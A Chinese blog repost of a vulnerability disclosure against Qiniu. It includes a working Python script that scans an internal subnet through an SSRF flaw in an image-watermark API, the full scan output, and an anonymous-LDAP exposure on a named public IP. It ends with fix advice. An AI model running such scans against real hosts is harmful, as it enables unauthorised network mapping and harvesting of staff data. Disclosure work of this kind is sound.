FLy_鹏程万里

【漏洞学习——SSRF】七牛某站SSRF可探测内网

一、SSRF漏洞

有漏洞的貌似是一个测试站：http://demos.qiniu.com/demo/qimage/index.html

存在SSRF漏洞接口的作用是先获取远程的图片，然后把图片制作成水印覆盖在当前图片上，用百度的logo做演示，效果如下：
http://rwxf.qiniudn.com/1234.jpg?watermark/1/image/aHR0cHM6Ly93d3cuYmFpZHUuY29tL2ltZy9iZF9sb2dvMS5wbmc=/dissolve/100/gravity/SouthEast

image后边的那串base64编码是你要探测的IP和端口，如何知道内网的IP呢。这里探测到七牛的一个IP存在elasticsearch未授权访问。

可知内网中至少存在这样一个网段：

172.30.251.168:9200

将http://172.30.251.168:9200编码为base64放在image后。

http://rwxf.qiniudn.com/1234.jpg?watermark/1/image/aHR0cDovLzE3Mi4zMC4yNTEuMTY4OjkyMDA=/dissolve/100/gravity/SouthEast

如果当前IP存活且端口开放的话，会返回501错误。如探测 http://172.30.251.168:9200

如果当前IP不存活或者端口不开放的话，会返回502错误。如探测 http://172.30.251.168:1356

经过测试总结出以下规律。

返回403——IP存活且端口开放，但是该目录禁止访问
返回404——IP存活且端口开放，但是不存在该图片
返回501——IP存活且端口开放
返回502——IP不存活或者端口不开放

这里为了方便测试，写了一个探测172.30.251网段80端口是否开放的脚本，返回501错误的就是IP存活且端口开放。当然如果再深入些，可以通过探测程序的默认logo或者favicon.ico来判断目标是什么应用。

#coding=utf-8
'''
poc: qiniu_ssrf
url: http://demos.qiniu.com/demo/qimage/index.html
'''
import requests
import base64
from IPy import IP
mask = IP('172.30.251.0/24')
for ip in mask:
    print ip
    b64Domain = base64.b64encode('http://' + str(ip))
    #print b64Domain
    req = requests.get("http://rwxf.qiniudn.com/1234.jpg?watermark/1/image/%s/dissolve/100/gravity/SouthEast" % b64Domain)
    print req.text + "\n"
    qnfile = file('/tmp/qnscan.txt', 'a')
    qnfile.write(str(ip) + '\n' + str(req.text) + '\n\n')
    qnfile.close()

这是返回的结果

172.30.251.0
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.1
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.2
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.3
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.4
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.5
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.6
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.7
{"error":"unsupported format:unsupported format:ERROR_MISSING_DELEGATE: NoDecodeDelegateForThisImageFormat `' @ error/constitute.c/ReadImage/501"}
172.30.251.8
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.9
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.10
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.11
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.12
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.13
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.14
{"error":"unsupported format:unsupported format:ERROR_MISSING_DELEGATE: NoDecodeDelegateForThisImageFormat `' @ error/constitute.c/ReadImage/501"}
172.30.251.15
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.16
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.17
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.18
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.19
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.20
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.21
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.22
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.23
{"error":"fetch image url failed and statusCode: 403"}
172.30.251.24
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.25
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.26
{"error":"fetch image url failed and statusCode: 403"}
172.30.251.27
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.28
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.29
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.30
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.31
{"error":"unsupported format:unsupported format:ERROR_MISSING_DELEGATE: NoDecodeDelegateForThisImageFormat `' @ error/constitute.c/ReadImage/501"}
172.30.251.32
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.33
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.34
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.35
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.36
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.37
{"error":"unsupported format:unsupported format:ERROR_MISSING_DELEGATE: NoDecodeDelegateForThisImageFormat `' @ error/constitute.c/ReadImage/501"}
172.30.251.38
{"error":"unsupported format:unsupported format:ERROR_MISSING_DELEGATE: NoDecodeDelegateForThisImageFormat `' @ error/constitute.c/ReadImage/501"}
172.30.251.39
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.40
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.41
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.42
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.43
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.44
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.45
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.46
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.47
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.48
{"error":"unsupported format:unsupported format:ERROR_MISSING_DELEGATE: NoDecodeDelegateForThisImageFormat `' @ error/constitute.c/ReadImage/501"}
172.30.251.49
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.50
{"error":"unsupported format:unsupported format:ERROR_MISSING_DELEGATE: NoDecodeDelegateForThisImageFormat `' @ error/constitute.c/ReadImage/501"}
172.30.251.51
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.52
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.53
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.54
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.55
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.56
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.57
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.58
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.59
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.60
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.61
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.62
{"error":"unsupported format:unsupported format:ERROR_MISSING_DELEGATE: NoDecodeDelegateForThisImageFormat `' @ error/constitute.c/ReadImage/501"}
172.30.251.63
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.64
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.65
{"error":"unsupported format:unsupported format:ERROR_MISSING_DELEGATE: NoDecodeDelegateForThisImageFormat `' @ error/constitute.c/ReadImage/501"}
172.30.251.66
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.67
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.68
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.69
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.70
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.71
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.72
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.73
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.74
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.75
{"error":"unsupported format:unsupported format:ERROR_MISSING_DELEGATE: NoDecodeDelegateForThisImageFormat `' @ error/constitute.c/ReadImage/501"}
172.30.251.76
{"error":"unsupported format:unsupported format:ERROR_MISSING_DELEGATE: NoDecodeDelegateForThisImageFormat `' @ error/constitute.c/ReadImage/501"}
172.30.251.77
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.78
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.79
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.80
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.81
{"error":"unsupported format:unsupported format:ERROR_MISSING_DELEGATE: NoDecodeDelegateForThisImageFormat `' @ error/constitute.c/ReadImage/501"}
172.30.251.82
{"error":"fetch image url failed and statusCode: 503"}
172.30.251.83
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.84
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.85
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.86
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.87
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.88
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.89
{"error":"unsupported format:unsupported format:ERROR_MISSING_DELEGATE: NoDecodeDelegateForThisImageFormat `' @ error/constitute.c/ReadImage/501"}
172.30.251.90
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.91
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.92
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.93
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.94
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.95
{"error":"unsupported format:unsupported format:ERROR_MISSING_DELEGATE: NoDecodeDelegateForThisImageFormat `' @ error/constitute.c/ReadImage/501"}
172.30.251.96
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.97
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.98
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.99
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.100
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.101
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.102
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.103
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.104
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.105
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.106
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.107
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.108
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.109
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.110
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.111
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.112
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.113
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.114
{"error":"unsupported format:unsupported format:ERROR_FILE_OPEN: UnableToOpenFile `./run/fopd_tmpdir/magick-23441q7XWC6pITgES': No such file or directory @ error/constitute.c/ReadImage/540"}
172.30.251.115
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.116
{"error":"fetch image url failed and statusCode: 404"}
172.30.251.117
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.118
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.119
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.120
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.121
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.122
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.123
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.124
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.125
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.126
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.127
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.128
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.129
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.130
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.131
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.132
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.133
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.134
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.135
{"error":"fetch image url failed and statusCode: 404"}
172.30.251.136
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.137
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.138
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.139
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.140
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.141
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.142
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.143
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.144
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.145
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.146
{"error":"unsupported format:unsupported format:ERROR_FILE_OPEN: UnableToOpenFile `./run/fopd_tmpdir/magick-5107kShQhExKivuz': No such file or directory @ error/constitute.c/ReadImage/540"}
172.30.251.147
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.148
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.149
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.150
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.151
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.152
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.153
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.154
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.155
{"error":"unsupported format:unsupported format:ERROR_MISSING_DELEGATE: NoDecodeDelegateForThisImageFormat `' @ error/constitute.c/ReadImage/501"}
172.30.251.156
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.157
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.158
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.159
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.160
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.161
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.162
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.163
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.164
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.165
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.166
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.167
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.168
{"error":"unsupported format:unsupported format:ERROR_MISSING_DELEGATE: NoDecodeDelegateForThisImageFormat `' @ error/constitute.c/ReadImage/501"}
172.30.251.169
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.170
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.171
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.172
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.173
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.174
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.175
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.176
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.177
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.178
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.179
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.180
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.181
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.182
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.183
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.184
{"error":"unsupported format:unsupported format:ERROR_CODER: Entity 'nbsp' not defined\n `No such file or directory` @ error/svg.c/SVGError/2639"}
172.30.251.185
{"error":"unsupported format:unsupported format:ERROR_MISSING_DELEGATE: NoDecodeDelegateForThisImageFormat `' @ error/constitute.c/ReadImage/501"}
172.30.251.186
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.187
{"error":"unsupported format:unsupported format:ERROR_MISSING_DELEGATE: NoDecodeDelegateForThisImageFormat `' @ error/constitute.c/ReadImage/501"}
172.30.251.188
{"error":"unsupported format:unsupported format:ERROR_MISSING_DELEGATE: NoDecodeDelegateForThisImageFormat `' @ error/constitute.c/ReadImage/501"}
172.30.251.189
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.190
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.191
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.192
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.193
{"error":"unsupported format:unsupported format:ERROR_MISSING_DELEGATE: NoDecodeDelegateForThisImageFormat `' @ error/constitute.c/ReadImage/501"}
172.30.251.194
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.195
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.196
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.197
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.198
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.199
{"error":"unsupported format:unsupported format:ERROR_MISSING_DELEGATE: NoDecodeDelegateForThisImageFormat `' @ error/constitute.c/ReadImage/501"}
172.30.251.200
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.201
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.202
{"error":"unsupported format:unsupported format:ERROR_MISSING_DELEGATE: NoDecodeDelegateForThisImageFormat `' @ error/constitute.c/ReadImage/501"}
172.30.251.203
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.204
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.205
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.206
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.207
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.208
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.209
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.210
{"error":"unsupported format:unsupported format:ERROR_MISSING_DELEGATE: NoDecodeDelegateForThisImageFormat `' @ error/constitute.c/ReadImage/501"}
172.30.251.211
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.212
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.213
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.214
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.215
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.216
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.217
{"error":"unsupported format:unsupported format:ERROR_FILE_OPEN: UnableToOpenFile `./run/fopd_tmpdir/magick-24069p9eQJObZhm7U': No such file or directory @ error/constitute.c/ReadImage/540"}
172.30.251.218
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.219
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.220
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.221
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.222
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.223
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.224
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.225
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.226
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.227
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.228
{"error":"unsupported format:unsupported format:ERROR_MISSING_DELEGATE: NoDecodeDelegateForThisImageFormat `' @ error/constitute.c/ReadImage/501"}
172.30.251.229
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.230
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.231
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.232
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.233
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.234
{"error":"unsupported format:unsupported format:ERROR_MISSING_DELEGATE: NoDecodeDelegateForThisImageFormat `' @ error/constitute.c/ReadImage/501"}
172.30.251.235
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.236
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.237
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.238
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.239
{"error":"fetch image url failed and statusCode: 404"}
172.30.251.240
{"error":"fetch image url failed and statusCode: 403"}
172.30.251.241
{"error":"unsupported format:unsupported format:ERROR_MISSING_DELEGATE: NoDecodeDelegateForThisImageFormat `' @ error/constitute.c/ReadImage/501"}
172.30.251.242
{"error":"fetch image url failed and statusCode: 403"}
172.30.251.243
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.244
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.245
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.246
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.247
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.248
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.249
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.250
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.251
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.252
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.253
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.254
{"error":"fetch image url failed and statusCode: 502"}
172.30.251.255
{"error":"fetch image url failed and statusCode: 502"}

二、LDAP匿名访问

IP：115.231.182.75
端口：389

可获取企业的所有人员信息，利用这些信息可以用来爆破邮箱或者使用ldap登录的应用。

在测试时，你们搭的一个洋葱的应用（115.231.182.75:8090)因为有漏洞，不小心测挂掉了，实在是抱歉。

修复方案

1. SSRF漏洞，可以统一下返回错误信息，避免用户可以根据错误信息来判断远端服务器的端口状态，且限制服务器访问的IP不能是内网IP。
2. Ldap漏洞，建议关掉Ldap的匿名访问功能。

你可能感兴趣的:(【渗透测试实战1】)

VulnHub渗透测试-BlackMarket靶机(Web渗透测试实战1) ESE_
环境VMwarekaliBlackMarket靶机BlackMarket靶机下载主要内容1、主机发现2、目录爆破3、sql注入4、垂直越权5、脏牛提权实战0x1、寻找靶机ip启动靶机，配置桥接[如下图2mac]模式，发现需要登录，没有账号，无法进入linux查看靶机ip。利用nmap进行主机发现nmap-sP-T4192.168.1.1/24主机发现扫描出多个ip,怎么知道那个是靶机呢？vmwar
链接 he_wen_jie
Aircrack除破解WiFi密码外的趣味玩法http://www.freebuf.com/articles/wireless/59809.htmlKaliLinux渗透测试实战1.2环境安装及初始化http://www.cnblogs.com/xuanhun/p/3479123.htmlWifi安全与Aircrack-nghttp://lesliezhu.github.io/public/201
java的(PO,VO,TO,BO,DAO,POJO) Cb123456 VO TO BO POJO DAO
转: http://www.cnblogs.com/yxnchinahlj/archive/2012/02/24/2366110.html ------------------------------------------------------------------- O/R Mapping 是 Object Relational Mapping（对象关系映
spring ioc原理（看完后大家可以自己写一个spring） aijuans spring
最近，买了本Spring入门书：spring In Action 。大致浏览了下感觉还不错。就是入门了点。Manning的书还是不错的，我虽然不像哪些只看Manning书的人那样专注于Manning,但怀着崇敬的心情和激情通览了一遍。又一次接受了IOC 、DI、AOP等Spring核心概念。先就IOC和DI谈一点我的看法。IO
MyEclipse 2014中Customize Persperctive设置无效的解决方法 Kai_Ge MyEclipse2014
高高兴兴下载个MyEclipse2014，发现工具条上多了个手机开发的按钮，心生不爽就想弄掉他！结果发现Customize Persperctive失效！！有说更新下就好了，可是国内Myeclipse访问不了，何谈更新... so~这里提供了更新后的一下jar包，给大家使用！ 1、将9个jar复制到myeclipse安装目录\plugins中 2、删除和这9个jar同包名但是版本号较
SpringMvc上传 120153216 springMVC
@RequestMapping(value = WebUrlConstant.UPLOADFILE) @ResponseBody public Map<String, Object> uploadFile(HttpServletRequest request,HttpServletResponse httpresponse) { try { //
Javascript----HTML DOM 事件何必如此 JavaScript html Web
HTML DOM 事件允许Javascript在HTML文档元素中注册不同事件处理程序。事件通常与函数结合使用，函数不会在事件发生前被执行！注：DOM：指明使用的 DOM 属性级别。 1.鼠标事件属性
动态绑定和删除onclick事件 357029540 JavaScript jquery
因为对JQUERY和JS的动态绑定事件的不熟悉，今天花了好久的时间才把动态绑定和删除onclick事件搞定!现在分享下我的过程。在我的查询页面，我将我的onclick事件绑定到了tr标签上同时传入当前行(this值)参数，这样可以在点击行上的任意地方时可以选中checkbox，但是在我的某一列上也有一个onclick事件是用于下载附件的，当
HttpClient|HttpClient请求详解 7454103 apache 应用服务器网络协议网络应用 Security
HttpClient 是 Apache Jakarta Common 下的子项目，可以用来提供高效的、最新的、功能丰富的支持 HTTP 协议的客户端编程工具包，并且它支持 HTTP 协议最新的版本和建议。本文首先介绍 HTTPClient，然后根据作者实际工作经验给出了一些常见问题的解决方法。HTTP 协议可能是现在 Internet 上使用得最多、最重要的协议了，越来越多的 Java 应用程序需
递归逐层统计树形结构数据 darkranger 数据结构
将集合递归获取树形结构: /** * * 递归获取数据 * @param alist:所有分类 * @param subjname:对应统计的项目名称 * @param pk:对应项目主键 * @param reportList: 最后统计的结果集 * @param count:项目级别 */ public void getReportVO(Arr
访问WEB-INF下使用frameset标签页面出错的原因 aijuans struts2
<frameset rows="61,*,24" cols="*" framespacing="0" frameborder="no" border="0">
MAVEN常用命令 avords
Maven库： http://repo2.maven.org/maven2/ Maven依赖查询： http://mvnrepository.com/ Maven常用命令： 1. 创建Maven的普通java项目： mvn archetype:create -DgroupId=packageName
PHP如果自带一个小型的web服务器就好了 houxinyou apache 应用服务器 Web PHP 脚本
最近单位用PHP做网站，感觉PHP挺好的，不过有一些地方不太习惯，比如，环境搭建。PHP本身就是一个网站后台脚本，但用PHP做程序时还要下载apache，配置起来也不太很方便，虽然有好多配置好的apache+php+mysq的环境，但用起来总是心里不太舒服，因为我要的只是一个开发环境，如果是真实的运行环境，下个apahe也无所谓，但只是一个开发环境，总有一种杀鸡用牛刀的感觉。如果php自己的程序中
NoSQL数据库之Redis数据库管理(list类型) bijian1013 redis 数据库 NoSQL
3.list类型及操作 List是一个链表结构，主要功能是push、pop、获取一个范围的所有值等等，操作key理解为链表的名字。Redis的list类型其实就是一个每个子元素都是string类型的双向链表。我们可以通过push、pop操作从链表的头部或者尾部添加删除元素，这样list既可以作为栈，又可以作为队列。 &nbs
谁在用Hadoop？ bingyingao hadoop 数据挖掘公司应用场景
Hadoop技术的应用已经十分广泛了，而我是最近才开始对它有所了解，它在大数据领域的出色表现也让我产生了兴趣。浏览了他的官网，其中有一个页面专门介绍目前世界上有哪些公司在用Hadoop，这些公司涵盖各行各业，不乏一些大公司如alibaba,ebay,amazon,google,facebook,adobe等，主要用于日志分析、数据挖掘、机器学习、构建索引、业务报表等场景,这更加激发了学习它的热情。
【Spark七十六】Spark计算结果存到MySQL bit1129 mysql
package spark.examples.db import java.sql.{PreparedStatement, Connection, DriverManager} import com.mysql.jdbc.Driver import org.apache.spark.{SparkContext, SparkConf} object SparkMySQLInteg
Scala: JVM上的函数编程 bookjovi scala erlang haskell
说Scala是JVM上的函数编程一点也不为过，Scala把面向对象和函数型编程这两种主流编程范式结合了起来，对于熟悉各种编程范式的人而言Scala并没有带来太多革新的编程思想，scala主要的有点在于Java庞大的package优势，这样也就弥补了JVM平台上函数型编程的缺失，MS家.net上已经有了F#，JVM怎么能不跟上呢？对本人而言
jar打成exe bro_feng java jar exe
今天要把jar包打成exe，jsmooth和exe4j都用了。遇见几个问题。记录一下。两个软件都很好使，网上都有图片教程，都挺不错。首先肯定是要用自己的jre的，不然不能通用，其次别忘了把需要的lib放到classPath中。困扰我很久的一个问题是，我自己打包成功后，在一个同事的没有装jdk的电脑上运行，就是不行，报错jvm.dll为无效的windows映像，如截图最后发现
读《研磨设计模式》-代码笔记-策略模式-Strategy bylijinnan java 设计模式
声明：本文只为方便我个人查阅和理解，详细的分析以及源代码请移步原作者的博客http://chjavach.iteye.com/ /* 策略模式定义了一系列的算法，并将每一个算法封装起来，而且使它们还可以相互替换。策略模式让算法独立于使用它的客户而独立变化简单理解： 1、将不同的策略提炼出一个共同接口。这是容易的，因为不同的策略，只是算法不同，需要传递的参数
cmd命令值cvfM命令 chenyu19891124 cmd
cmd命令还真是强大啊。今天发现jar -cvfM aa.rar @aaalist 就这行命令可以根据aaalist取出相应的文件例如：在d：\workspace\prpall\test.java 有这样一个文件，现在想要将这个文件打成一个包。运行如下命令即可比如在d：\wor
OpenJWeb(1.8) Java Web应用快速开发平台 comsci java 框架 Web 项目管理企业应用
OpenJWeb(1.8) Java Web应用快速开发平台的作者是我们技术联盟的成员，他最近推出了新版本的快速应用开发平台 OpenJWeb(1.8)，我帮他做做宣传 OpenJWeb快速开发平台以快速开发为核心，整合先进的java 开源框架，本着自主开发+应用集成相结合的原则，旨在为政府、企事业单位、软件公司等平台用户提供一个架构透
Python 报错：IndentationError: unexpected indent daizj python tab 空格缩进
IndentationError: unexpected indent 是缩进的问题，也有可能是tab和空格混用啦 Python开发者有意让违反了缩进规则的程序不能通过编译，以此来强制程序员养成良好的编程习惯。并且在Python语言里，缩进而非花括号或者某种关键字，被用于表示语句块的开始和退出。增加缩进表示语句块的开
HttpClient 超时设置 dongwei_6688 httpclient
HttpClient中的超时设置包含两个部分： 1. 建立连接超时，是指在httpclient客户端和服务器端建立连接过程中允许的最大等待时间 2. 读取数据超时，是指在建立连接后，等待读取服务器端的响应数据时允许的最大等待时间在HttpClient 4.x中如下设置： HttpClient httpclient = new DefaultHttpC
小鱼与波浪 dcj3sjt126com
一条小鱼游出水面看蓝天，偶然间遇到了波浪。　　小鱼便与波浪在海面上游戏，随着波浪上下起伏、汹涌前进。　　小鱼在波浪里兴奋得大叫：“你每天都过着这么刺激的生活吗？简直太棒了。”　　波浪说：“岂只每天过这样的生活，几乎每一刻都这么刺激！还有更刺激的，要有潮汐变化，或者狂风暴雨，那才是兴奋得心脏都会跳出来。”　　小鱼说：“真希望我也能变成一个波浪，每天随着风雨、潮汐流动，不知道有多么好！”　　很快，小鱼
Error Code: 1175 You are using safe update mode and you tried to update a table dcj3sjt126com mysql
